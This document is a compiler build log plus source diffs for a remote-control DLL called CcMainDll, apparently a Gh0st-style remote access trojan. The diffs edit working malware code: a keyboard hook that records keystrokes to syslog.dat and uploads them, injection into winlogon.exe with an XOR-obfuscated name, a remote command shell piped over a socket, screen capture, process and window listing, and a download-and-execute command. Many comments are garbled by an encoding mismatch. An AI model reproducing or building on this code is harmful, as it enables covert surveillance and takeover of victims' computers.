f:\myapp\ccremote\ccmaindll\ccmaindll\common\kernelmanager.cpp(156): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\kernelmanager.cpp(156): warning C4309: “初始化”: 截断常量值
|
||||
Manager.cpp
|
||||
RegEditEx.cpp
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(10): warning C4996: 'strnicmp': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strnicmp. See online help for details.
|
||||
@@ -99,6 +99,23 @@ f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(121): warning C4996:
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 参见“strncat”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(122): warning C4996: 'strncat': This function or variable may be unsafe. Consider using strncat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 参见“strncat”的声明
|
||||
RegeditOpt.cpp
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(71): warning C4305: “=”: 从“<unnamed-enum-TRANSFER_MODE_NORMAL>”到“char”截断
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(71): warning C4309: “=”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(83): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(55): warning C4101: “DateSize”: 未引用的局部变量
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(54): warning C4101: “Type”: 未引用的局部变量
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(54): warning C4101: “NameSize”: 未引用的局部变量
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(126): warning C4305: “=”: 从“<unnamed-enum-TRANSFER_MODE_NORMAL>”到“char”截断
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(126): warning C4309: “=”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(164): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(98): warning C4101: “szKeyName”: 未引用的局部变量
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(106): warning C4101: “KeySize”: 未引用的局部变量
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(182): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
RegManager.cpp
|
||||
ScreenManager.cpp
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenmanager.cpp(5): warning C4005: “_WIN32_WINNT”: 宏重定义
|
||||
d:\windows kits\10\include\10.0.17763.0\shared\sdkddkver.h(216): note: 参见“_WIN32_WINNT”的前一个定义
|
||||
@@ -107,20 +124,21 @@ f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(379): warning C4018:
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(400): warning C4018: “<”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(419): warning C4018: “<”: 有符号/无符号不匹配
|
||||
ServerManager.cpp
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\servermanager.cpp(291): warning C4102: “defaute”: 未引用的标签
|
||||
ShellManager.cpp
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\shellmanager.cpp(52): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\shellmanager.cpp(59): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
|
||||
SystemManager.cpp
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\dialupass.h(62): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\systemmanager.cpp(137): warning C4018: “<”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\systemmanager.cpp(228): warning C4101: “cbNeeded”: 未引用的局部变量
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\systemmanager.cpp(140): warning C4018: “<”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\systemmanager.cpp(231): warning C4101: “cbNeeded”: 未引用的局部变量
|
||||
VideoCap.cpp
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(27): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(27): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(35): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(35): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(124): warning C4101: “gCapTureParms”: 未引用的局部变量
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(36): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(36): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(125): warning C4101: “gCapTureParms”: 未引用的局部变量
|
||||
VideoManager.cpp
|
||||
cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
|
||||
FileManager.cpp
|
||||
@@ -138,25 +156,36 @@ f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(617): warning C4307
|
||||
cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
|
||||
dllmain.cpp
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(38): warning C4101: “pEnd”: 未引用的局部变量
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(103): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(103): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(160): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(160): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(198): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(198): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(225): warning C4996: 'GetVersionExA': 被声明为已否决
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(162): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(162): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(204): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(204): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(231): warning C4996: 'GetVersionExA': 被声明为已否决
|
||||
d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(41): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(41): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(177): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(52): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(262): warning C4996: 'strncpy': This function or variable may be unsafe. Consider using strncpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(338): note: 参见“strncpy”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(263): warning C4996: 'wcstombs': This function or variable may be unsafe. Consider using wcstombs_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\stdlib.h(1015): note: 参见“wcstombs”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(293): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(303): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(328): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(366): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(367): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明
|
||||
StrCry.cpp
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\strcry.cpp(8): warning C4018: “<=”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\strcry.cpp(10): warning C4267: “=”: 从“size_t”转换到“char”,可能丢失数据
|
||||
LINK : warning LNK4044: 无法识别的选项“/Zc:strictStrings”;已忽略
|
||||
正在创建库 ..\..\bin\server\CcMainDll.lib 和对象 ..\..\bin\server\CcMainDll.exp
|
||||
正在生成代码
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(113): warning C4700: 使用了未初始化的局部变量“NameSize”
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(260): warning C4715: “CFileManager::OpenFile”: 不是所有的控件路径都返回值
|
||||
All 358 functions were compiled because no usable IPDB/IOBJ from previous compilation was found.
|
||||
All 385 functions were compiled because no usable IPDB/IOBJ from previous compilation was found.
|
||||
已完成代码的生成
|
||||
CcMainDll.vcxproj -> F:\myapp\CcRemote\CcMainDll\CcMainDll\..\..\bin\server\CcMainDll.dll
|
||||
|
@@ -83,10 +83,12 @@ void CKernelManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
|
||||
case COMMAND_SYSTEM: // <20><><EFBFBD><EFBFBD>
|
||||
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_SystemManager,
|
||||
(LPVOID)m_pClient->m_Socket, 0, NULL);
|
||||
Sleep(100);
|
||||
break;
|
||||
case COMMAND_WSLIST: // <20><><EFBFBD><EFBFBD>
|
||||
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_WindowManager,
|
||||
(LPVOID)m_pClient->m_Socket, 0, NULL);
|
||||
Sleep(100);
|
||||
break;
|
||||
|
||||
case COMMAND_DOWN_EXEC: // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
@@ -146,9 +148,9 @@ void CKernelManager::UnInstallService()
|
||||
|
||||
// ɾ<><C9BE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>¼<EFBFBD>ļ<EFBFBD>
|
||||
|
||||
char strRecordFile[MAX_PATH];
|
||||
GetSystemDirectory(strRecordFile, sizeof(strRecordFile));
|
||||
lstrcat(strRecordFile, "\\syslog.dat");
|
||||
char strRecordFile[MAX_PATH] = {0};
|
||||
//GetSystemDirectory(strRecordFile, sizeof(strRecordFile));
|
||||
lstrcat(strRecordFile, "C:\\syslog.dat");
|
||||
DeleteFile(strRecordFile);
|
||||
|
||||
char winlogon[] = { 0x0c,0xbc,0xa3,0xa7,0xa4,0xa8,0xa1,0xaa,0xaa,0xed,0xa7,0xb9,0xa5 }; //winlogon.exe
|
||||
@@ -158,7 +160,8 @@ void CKernelManager::UnInstallService()
|
||||
|
||||
if (m_dwServiceType != 0x120) // owner<65><72>Զ<EFBFBD><D4B6>ɾ<EFBFBD><C9BE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Լ<EFBFBD>ֹͣ<CDA3>Լ<EFBFBD>ɾ<EFBFBD><C9BE>,Զ<><D4B6><EFBFBD>߳<EFBFBD>ɾ<EFBFBD><C9BE>
|
||||
{
|
||||
InjectRemoveService(winlogon_exe, m_strServiceName);
|
||||
//InjectRemoveService(winlogon_exe, m_strServiceName);
|
||||
InjectRemoveService("winlogon.exe", m_strServiceName);
|
||||
}
|
||||
else // shared<65><64><EFBFBD>̵ķ<CCB5><C4B7><EFBFBD>,<2C><><EFBFBD><EFBFBD>ɾ<EFBFBD><C9BE><EFBFBD>Լ<EFBFBD>
|
||||
{
|
||||
|
@@ -238,8 +238,8 @@ bool CKeyboardManager::StartHook()
|
||||
|
||||
ZeroMemory(m_pTShared->str, sizeof(m_pTShared->str));
|
||||
|
||||
GetSystemDirectory(m_pTShared->strRecordFile, sizeof(m_pTShared->strRecordFile));
|
||||
lstrcat(m_pTShared->strRecordFile, "\\syslog.dat");
|
||||
//GetSystemDirectory(m_pTShared->strRecordFile, sizeof(m_pTShared->strRecordFile));
|
||||
lstrcat(m_pTShared->strRecordFile, "C:\\syslog.dat");
|
||||
|
||||
// <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>ڣ<EFBFBD><DAA3>Ϳ<EFBFBD>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD>¼<EFBFBD><C2BC><EFBFBD><EFBFBD>
|
||||
if (GetFileAttributes(m_pTShared->strRecordFile) != -1)
|
||||
@@ -295,7 +295,7 @@ int CKeyboardManager::sendOfflineRecord()
|
||||
DWORD dwBytesRead = 0;
|
||||
char strRecordFile[MAX_PATH];
|
||||
GetSystemDirectory(strRecordFile, sizeof(strRecordFile));
|
||||
lstrcat(strRecordFile, "\\syslog.dat");
|
||||
lstrcat(strRecordFile, "C:\\syslog.dat");
|
||||
HANDLE hFile = CreateFile(strRecordFile, GENERIC_READ, FILE_SHARE_READ,
|
||||
NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
if (hFile != INVALID_HANDLE_VALUE)
|
||||
|
@@ -167,7 +167,7 @@ int ReadRegEx(HKEY MainKey,LPCTSTR SubKey,LPCTSTR Vname,DWORD Type,char *szData
|
||||
case REG_SZ:
|
||||
pDecodeStr = decodeStr(char_REG_SZ); //<2F><><EFBFBD>ܺ<EFBFBD><DCBA><EFBFBD>
|
||||
|
||||
wsprintf(ValueTemp,"%-24s %-15s %s \r\n",KeyName, pDecodeStr,ValueSz);
|
||||
wsprintf(ValueTemp,"%-24s %-15s %s \r\n",KeyName, pDecodeStr,ValueSz);
|
||||
|
||||
memset(pDecodeStr, 0, char_REG_SZ[STR_CRY_LENGTH]); //<2F><><EFBFBD><EFBFBD>0
|
||||
delete pDecodeStr;
|
||||
@@ -176,7 +176,7 @@ int ReadRegEx(HKEY MainKey,LPCTSTR SubKey,LPCTSTR Vname,DWORD Type,char *szData
|
||||
case REG_EXPAND_SZ:
|
||||
pDecodeStr = decodeStr(char_REG_EXPAND_SZ);
|
||||
|
||||
wsprintf(ValueTemp,"%-24s %-15s %s \r\n",KeyName, pDecodeStr,ValueSz);
|
||||
wsprintf(ValueTemp,"%-24s %-15s %s \r\n",KeyName, pDecodeStr,ValueSz);
|
||||
|
||||
memset(pDecodeStr, 0, char_REG_EXPAND_SZ[STR_CRY_LENGTH]); //<2F><><EFBFBD><EFBFBD>0
|
||||
delete pDecodeStr;
|
||||
@@ -185,7 +185,7 @@ int ReadRegEx(HKEY MainKey,LPCTSTR SubKey,LPCTSTR Vname,DWORD Type,char *szData
|
||||
case REG_DWORD:
|
||||
pDecodeStr = decodeStr(char_REG_DWORD);
|
||||
|
||||
wsprintf(ValueTemp,"%-24s %-15s 0x%x(%d) \r\n",KeyName, pDecodeStr,ValueSz,int(ValueSz));
|
||||
wsprintf(ValueTemp,"%-24s %-15s 0x%x(%d) \r\n",KeyName, pDecodeStr,ValueSz,int(ValueSz));
|
||||
|
||||
memset(pDecodeStr, 0, char_REG_DWORD[STR_CRY_LENGTH]); //<2F><><EFBFBD><EFBFBD>0
|
||||
delete pDecodeStr;
|
||||
@@ -195,7 +195,7 @@ int ReadRegEx(HKEY MainKey,LPCTSTR SubKey,LPCTSTR Vname,DWORD Type,char *szData
|
||||
case REG_MULTI_SZ:
|
||||
pDecodeStr = decodeStr(char_REG_MULTI_SZ);
|
||||
|
||||
wsprintf(ValueTemp,"%-24s %-15s \r\n",KeyName, pDecodeStr);
|
||||
wsprintf(ValueTemp,"%-24s %-15s \r\n",KeyName, pDecodeStr);
|
||||
|
||||
memset(pDecodeStr, 0, char_REG_MULTI_SZ[STR_CRY_LENGTH]); //<2F><><EFBFBD><EFBFBD>0
|
||||
delete pDecodeStr;
|
||||
@@ -204,7 +204,7 @@ int ReadRegEx(HKEY MainKey,LPCTSTR SubKey,LPCTSTR Vname,DWORD Type,char *szData
|
||||
case REG_BINARY:
|
||||
pDecodeStr = decodeStr(char_REG_BINARY);
|
||||
|
||||
wsprintf(ValueTemp,"%-24s %-15s \r\n",KeyName, pDecodeStr);
|
||||
wsprintf(ValueTemp,"%-24s %-15s \r\n",KeyName, pDecodeStr);
|
||||
|
||||
memset(pDecodeStr, 0, char_REG_BINARY[STR_CRY_LENGTH]); //<2F><><EFBFBD><EFBFBD>0
|
||||
delete pDecodeStr;
|
||||
|
@@ -36,7 +36,7 @@ CScreenSpy::CScreenSpy(int biBitCount, bool bIsGray, UINT nMaxFrameRate)
|
||||
// <20>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>洰<EFBFBD><E6B4B0>
|
||||
m_hDeskTopWnd = GetDesktopWindow();
|
||||
|
||||
// <20><><EFBFBD>ݴ<EFBFBD><DDB4>ڻ<EFBFBD>ȡDC<44>ٱ<EFBFBD>
|
||||
// <20><><EFBFBD>ݴ<EFBFBD><DDB4>ڻ<EFBFBD>ȡDC<44><EFBFBD><EFBFBD><EFBFBD>
|
||||
m_hFullDC = GetDC(m_hDeskTopWnd);
|
||||
}
|
||||
|
||||
|
@@ -14,7 +14,8 @@ CShellManager::CShellManager(CClientSocket *pClient):CManager(pClient)
|
||||
STARTUPINFO si = {0};
|
||||
PROCESS_INFORMATION pi = {0};
|
||||
char strShellPath[MAX_PATH] = {0};
|
||||
|
||||
|
||||
m_UserShell = false;
|
||||
m_hReadPipeHandle = NULL;
|
||||
m_hWritePipeHandle = NULL;
|
||||
m_hReadPipeShell = NULL;
|
||||
@@ -23,8 +24,14 @@ CShellManager::CShellManager(CClientSocket *pClient):CManager(pClient)
|
||||
sa.lpSecurityDescriptor = NULL;
|
||||
sa.bInheritHandle = TRUE;
|
||||
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD>ܵ<EFBFBD><DCB5><EFBFBD><EFBFBD>ܵ<EFBFBD><DCB5><EFBFBD><EFBFBD>ڻ<EFBFBD>ȡcmd<6D><64><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ
|
||||
if(!CreatePipe(&m_hReadPipeHandle, &m_hWritePipeShell, &sa, 0))
|
||||
if(!CreatePipe(
|
||||
&m_hReadPipeHandle, // __out <20><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>
|
||||
&m_hWritePipeShell, // __out д<><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
&sa, // __in SECURITY_ATTRIBUTES<45>ṹ<EFBFBD><E1B9B9>ָ<EFBFBD><D6B8> <20>Ӳⷵ<D3B2>صľ<D8B5><C4BE><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7>ܹ<EFBFBD><DCB9><EFBFBD><EFBFBD>ӽ<EFBFBD><D3BD>̼̳У<CCB3>ΪNULL<4C><4C><EFBFBD>ܼ̳<DCBC> <20><><EFBFBD><EFBFBD><EFBFBD>ܵ<EFBFBD><DCB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ṹ<EFBFBD><E1B9B9>
|
||||
0 // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>С<EFBFBD><D0A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ0ʱʹ<CAB1><CAB9>Ĭ<EFBFBD>ϴ<EFBFBD>С
|
||||
))
|
||||
{
|
||||
if(m_hReadPipeHandle != NULL) CloseHandle(m_hReadPipeHandle);
|
||||
if(m_hWritePipeShell != NULL) CloseHandle(m_hWritePipeShell);
|
||||
@@ -112,10 +119,10 @@ void CShellManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
|
||||
NotifyDialogIsOpen();
|
||||
return;
|
||||
}
|
||||
|
||||
unsigned long ByteWrite;
|
||||
|
||||
m_UserShell = TRUE;
|
||||
//д<><D0B4><EFBFBD>ܵ<EFBFBD><DCB5><EFBFBD><EFBFBD><EFBFBD>
|
||||
WriteFile(m_hWritePipeHandle, lpBuffer, nSize, &ByteWrite, NULL);
|
||||
WriteFile(m_hWritePipeHandle, lpBuffer, nSize, &m_ByteWrite, NULL);
|
||||
}
|
||||
|
||||
|
||||
@@ -123,6 +130,7 @@ void CShellManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
|
||||
DWORD WINAPI CShellManager::ReadPipeThread(LPVOID lparam)
|
||||
{
|
||||
unsigned long BytesRead = 0;
|
||||
unsigned long BytesReads = 0;
|
||||
char ReadBuff[1024];
|
||||
DWORD TotalBytesAvail;
|
||||
CShellManager *pThis = (CShellManager *)lparam;
|
||||
@@ -137,11 +145,25 @@ DWORD WINAPI CShellManager::ReadPipeThread(LPVOID lparam)
|
||||
if (BytesRead <= 0)
|
||||
break;
|
||||
memset(ReadBuff, 0, sizeof(ReadBuff));
|
||||
LPBYTE lpBuffers = NULL;
|
||||
LPBYTE lpBuffer = (LPBYTE)LocalAlloc(LPTR, TotalBytesAvail);
|
||||
//<2F><>ȡ<EFBFBD>ܵ<EFBFBD><DCB5><EFBFBD><EFBFBD><EFBFBD>
|
||||
ReadFile(pThis->m_hReadPipeHandle, lpBuffer, TotalBytesAvail, &BytesRead, NULL);
|
||||
|
||||
if (pThis->m_UserShell)
|
||||
{
|
||||
lpBuffers = &lpBuffer[pThis->m_ByteWrite - 2];
|
||||
BytesReads = BytesRead - pThis->m_ByteWrite + 2;
|
||||
}
|
||||
else
|
||||
{
|
||||
lpBuffers = lpBuffer;
|
||||
BytesReads = BytesRead;
|
||||
}
|
||||
pThis->m_UserShell = false;
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ---->OnReceive<76><65><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
pThis->Send(lpBuffer, BytesRead);
|
||||
pThis->Send(lpBuffers, BytesReads);
|
||||
LocalFree(lpBuffer);
|
||||
}
|
||||
}
|
||||
|
@@ -28,6 +28,8 @@ private:
|
||||
HANDLE m_hThreadRead;
|
||||
HANDLE m_hThreadMonitor;
|
||||
|
||||
unsigned long m_ByteWrite;
|
||||
bool m_UserShell;
|
||||
static DWORD WINAPI ReadPipeThread(LPVOID lparam);
|
||||
static DWORD WINAPI MonitorThread(LPVOID lparam);
|
||||
};
|
||||
|
@@ -17,17 +17,20 @@
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
|
||||
int GetWindowTextSafe(HWND hWnd, LPTSTR lpString, int nMaxCount);
|
||||
|
||||
CSystemManager::CSystemManager(CClientSocket *pClient, BYTE bHow) : CManager(pClient)
|
||||
{
|
||||
m_caseSystemIs = bHow;
|
||||
if (m_caseSystemIs == COMMAND_SYSTEM) //<2F><><EFBFBD><EFBFBD><EFBFBD>ǻ<EFBFBD>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>
|
||||
{
|
||||
SendProcessList();
|
||||
}
|
||||
else if (m_caseSystemIs == COMMAND_WSLIST) //<2F><><EFBFBD><EFBFBD><EFBFBD>ǻ<EFBFBD>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>
|
||||
if (m_caseSystemIs == COMMAND_WSLIST) //<2F><><EFBFBD><EFBFBD><EFBFBD>ǻ<EFBFBD>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>
|
||||
{
|
||||
SendWindowsList();
|
||||
}
|
||||
else if (m_caseSystemIs == COMMAND_SYSTEM) //<2F><><EFBFBD><EFBFBD><EFBFBD>ǻ<EFBFBD>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>
|
||||
{
|
||||
SendProcessList();
|
||||
}
|
||||
}
|
||||
|
||||
CSystemManager::~CSystemManager()
|
||||
@@ -342,10 +345,16 @@ bool CALLBACK CSystemManager::EnumWindowsProc(HWND hwnd, LPARAM lParam)
|
||||
char strTitle[1024];
|
||||
memset(strTitle, 0, sizeof(strTitle));
|
||||
//<2F><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĵ<EFBFBD><C4B4>ھ<EFBFBD><DABE><EFBFBD><EFBFBD>ı<EFBFBD><C4B1><EFBFBD>
|
||||
GetWindowText(hwnd, strTitle, sizeof(strTitle));
|
||||
//<2F>жϴ<D0B6><CFB4><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7>ɼ<EFBFBD><C9BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD>Ϊ<EFBFBD><CEAA>
|
||||
if (!IsWindowVisible(hwnd) || lstrlen(strTitle) == 0)
|
||||
if (IsWindowVisible(hwnd))
|
||||
return true;
|
||||
//GetWindowText(hwnd, strTitle, sizeof(strTitle));
|
||||
GetWindowTextSafe(hwnd, strTitle, sizeof(strTitle));
|
||||
//<2F>жϴ<D0B6><CFB4><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7>ɼ<EFBFBD><C9BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD>Ϊ<EFBFBD><CEAA>
|
||||
if (lstrlen(strTitle) == 0)
|
||||
{
|
||||
OutputDebugString("lstrlen");
|
||||
return true;
|
||||
}
|
||||
|
||||
